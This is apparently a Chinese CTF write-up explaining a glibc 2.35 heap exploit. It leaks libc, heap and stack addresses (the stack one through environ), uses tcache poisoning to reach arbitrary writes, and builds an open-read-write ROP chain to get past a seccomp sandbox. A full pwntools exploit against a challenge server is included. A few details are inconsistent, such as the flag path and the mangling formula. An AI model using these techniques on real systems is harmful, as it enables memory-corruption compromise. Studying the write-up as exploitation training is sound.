environ泄露栈地址+沙盒堆
字数 1136 2025-08-22 12:22:37
利用environ泄露栈地址的堆利用技术详解
1. 环境与背景
- 目标环境:Linux系统,libc 2.35版本
- 保护机制:全保护开启(ASLR, NX, Canary等),使用seccomp沙箱
- 漏洞类型:堆溢出、UAF(Use After Free)、off-by-one
2. environ基础知识
2.1 environ概念
environ是Linux C中的一个全局变量,存储在libc中,包含指向环境变量数组的指针。环境变量本身存储在栈上,因此environ成为连接libc地址和栈地址的桥梁。
2.2 environ的内存布局
libc中的environ变量 -> 指向栈上的环境变量指针数组 -> 实际环境变量字符串
3. 漏洞分析
3.1 程序功能
标准堆菜单程序,包含以下功能:
- add: 分配堆块
- del: 释放堆块
- edit: 编辑堆块内容
- show: 显示堆块内容
- exit: 退出程序
3.2 具体漏洞
- 堆溢出:edit函数中可编辑的堆块大小未正确校验,导致可以写入超出分配大小的数据
- UAF:del函数仅清除了堆块数组的指针而未清空堆块本身
- 输出问题:show函数使用printf的%s格式化,遇到\0才会停止,可导致信息泄露
4. 利用思路
- 利用堆溢出和UAF泄露libc基地址
- 通过libc中的environ变量获取栈地址
- 构造ROP链实现ORW(Open-Read-Write)绕过沙箱
- 将ROP链写入栈上合适位置
5. 详细利用步骤
5.1 泄露libc基址
# 分配4个大堆块
add(0x408, b'aaaa') #0
add(0x408, b'aaaa') #1
add(0x408, b'aaaa') #2
add(0x408, b'aaaa') #3
# 利用堆溢出修改chunk1的size
edit(0, 0x500, b'a'*0x408 + p64(0x821))
# 释放chunk1,由于size被修改,会连带释放chunk2
delet(1)
# 重新分配chunk1
add(0x408, b'a') #1
# 显示chunk2内容,泄露libc地址
show(2)
p.recvuntil(b'content:')
libc = u64(p.recv(6).ljust(8, b'\x00')) - 0x21ace0
5.2 泄露堆地址
# 分配更多堆块
add(0x408, b'aaaa') #4 & 2
add(0x408, b'aaaa') #5
add(0x408, b'aaaa') #6
# 释放chunk4
delet(4)
# 显示chunk2内容,泄露堆地址
show(2)
p.recvuntil(b'content:')
heap = u64(p.recv(5).ljust(8, b'\x00')) << 12
5.3 利用environ泄露栈地址
# 计算environ地址
environ = libc_base + libc.symbols['environ']
# 计算目标地址(environ上方)
heap_shift = (heap_base + 0x16e0) >> 12
tar = environ - 0x410
fd = heap_shift ^ tar
# 释放chunk6
delet(6)
# 构造伪造的chunk
pay = b'a'*0x400 + p64(0) + p64(0x411) + p64(fd)
edit(5, 0x500, pay)
# 分配chunk,使其指向environ上方
add(0x408, b'aaaa') #4
add(0x408, b'aaaa') #6
# 编辑chunk6,覆盖environ区域
edit(6, 0x500, b'a'*0x40f)
# 显示environ中的栈地址
show(6)
stack_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x168
5.4 构造ORW链
# 准备gadget
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_rbx = libc_base + 0x904a9
rax = libc_base + 0x45eb0
syscall_ret = libc_base + 0x91316
# 构造ORW链
orw = b'./flag\x00\x00'
orw += p64(rdi) + p64(stack_addr - 0x10)
orw += p64(rsi) + p64(0)
orw += p64(rax) + p64(2)
orw += p64(syscall_ret) # open("./flag", 0)
orw += p64(rax) + p64(0)
orw += p64(rdi) + p64(3)
orw += p64(rsi) + p64(stack_addr - 0x300)
orw += p64(rdx_rbx) + p64(0x30)*2
orw += p64(syscall_ret) # read(3, stack_addr - 0x300, 0x30)
orw += p64(rax) + p64(1)
orw += p64(rdi) + p64(1)
orw += p64(rsi) + p64(stack_addr - 0x300)
orw += p64(rdx_rbx) + p64(0x30)*2
orw += p64(syscall_ret) # write(1, stack_addr - 0x300, 0x30)
5.5 将ORW链写入栈
# 分配更多堆块
add(0x408, b'aaaa') #7
add(0x408, b'aaaa') #8
add(0x408, b'aaaa') #9
add(0x408, b'aaaa') #10
# 释放chunk9和8
delet(9)
delet(8)
# 计算目标地址(栈上返回地址附近)
heap_shift = (heap_base + 0x1f00) >> 12
tar = stack_addr - 0x10
fd = heap_shift ^ tar
# 构造伪造的chunk
pay = b'a'*0x400 + p64(0) + p64(0x411) + p64(fd)
edit(7, 0x500, pay)
# 分配chunk,使其指向栈上返回地址附近
add(0x408, b'aaaaaaaa') #8
add(0x408, orw) #9
6. 关键技术与注意事项
6.1 tcache指针加密机制
libc 2.29+引入了tcache指针加密,加密公式为:
加密指针 = (指针 >> 12) ^ 目标地址
6.2 为什么选择environ-0x410
- 直接覆盖environ会使其内容被add函数清零
- 选择environ上方区域可以保留原始栈地址
6.3 栈偏移计算
0x168偏移是通过调试确定的,是add函数返回地址与泄露的栈地址之间的差值
6.4 ORW构造要点
- 使用syscall而非直接调用函数,避免破坏栈结构
- 需要找到正确的syscall_ret gadget
- 文件描述符处理要正确(open返回3,之后使用3)
7. 完整EXP
from pwn import *
p = remote('pwn.challenge.ctf.show', 28113)
# p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux', arch='amd64', log_level='debug')
def debug():
gdb.attach(p)
pause()
def dbg():
gdb.attach(p, 'b *$rebase(0x16cc)')
def choice(cho):
p.sendlineafter('choice >> ', cho)
def add(size, content):
choice(str(1))
p.sendlineafter(b'size:', str(size))
p.sendlineafter(b'content:', content)
def delet(idx):
choice(str(2))
p.sendlineafter(b'idx:\n', str(idx))
def show(idx):
choice(str(4))
p.sendlineafter(b'idx:', str(idx))
def edit(idx, size, content):
choice(str(3))
p.sendlineafter(b'idx:', str(idx))
p.sendlineafter(b'size:', str(size))
p.sendlineafter(b'content:', content)
def exit():
p.sendlineafter(b'choice >> ', b'5')
# 泄露libc
add(0x408, b'aaaa') #0
add(0x408, b'aaaa') #1
add(0x408, b'aaaa') #2
add(0x408, b'aaaa') #3
edit(0, 0x500, b'a'*0x408 + p64(0x821))
delet(1)
add(0x408, b'a') #1
show(2)
p.recvuntil(b'content:')
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x21ace0
success("libc_base:" + hex(libc_base))
# 泄露heap
add(0x408, b'aaaa') #4 & 2
add(0x408, b'aaaa') #5
add(0x408, b'aaaa') #6
delet(4)
show(2)
p.recvuntil(b'content:')
heap_base = u64(p.recv(5).ljust(8, b'\x00')) << 12
success("heap_base:" + hex(heap_base))
# 准备gadget
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_rbx = libc_base + 0x904a9
rax = libc_base + 0x45eb0
syscall_ret = libc_base + 0x91316
environ = libc_base + libc.symbols['environ']
# 泄露栈地址
heap_shift = (heap_base + 0x16e0) >> 12
tar = environ - 0x410
fd = heap_shift ^ tar
success("tar:" + hex(tar))
delet(6)
pay = b'a'*0x400 + p64(0) + p64(0x411) + p64(fd)
edit(5, 0x500, pay)
add(0x408, b'aaaa') #4
add(0x408, b'aaaa') #6
edit(6, 0x500, b'a'*0x40f)
show(6)
stack_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x168
success("stack_addr:" + hex(stack_addr))
# 构造ORW
orw = b'/flag\x00\x00'
orw += p64(rdi) + p64(stack_addr - 0x10)
orw += p64(rsi) + p64(0)
orw += p64(rax) + p64(2)
orw += p64(syscall_ret) # open("./flag", 0)
orw += p64(rax) + p64(0)
orw += p64(rdi) + p64(3)
orw += p64(rsi) + p64(stack_addr - 0x300)
orw += p64(rdx_rbx) + p64(0x30)*2
orw += p64(syscall_ret) # read(3, stack_addr - 0x300, 0x30)
orw += p64(rax) + p64(1)
orw += p64(rdi) + p64(1)
orw += p64(rsi) + p64(stack_addr - 0x300)
orw += p64(rdx_rbx) + p64(0x30)*2
orw += p64(syscall_ret) # write(1, stack_addr - 0x300, 0x30)
# 写入ORW
add(0x408, b'aaaa') #7
add(0x408, b'aaaa') #8
add(0x408, b'aaaa') #9
add(0x408, b'aaaa') #10
delet(9)
delet(8)
heap_shift = (heap_base + 0x1f00) >> 12
tar = stack_addr - 0x10
fd = heap_shift ^ tar
pay = b'a'*0x400 + p64(0) + p64(0x411) + p64(fd)
edit(7, 0x500, pay)
add(0x408, b'aaaaaaaa') #8
add(0x408, orw) #9
p.interactive()
8. 总结
本技术通过以下关键步骤实现利用:
- 利用堆溢出和UAF泄露libc和堆地址
- 通过libc中的environ变量定位栈地址
- 利用tcache指针加密机制实现任意地址写
- 构造ORW链绕过沙箱限制
- 将ROP链写入栈上合适位置控制程序流
这种方法在存在信息泄露漏洞和堆控制漏洞的情况下非常有效,特别是在全保护开启的环境中。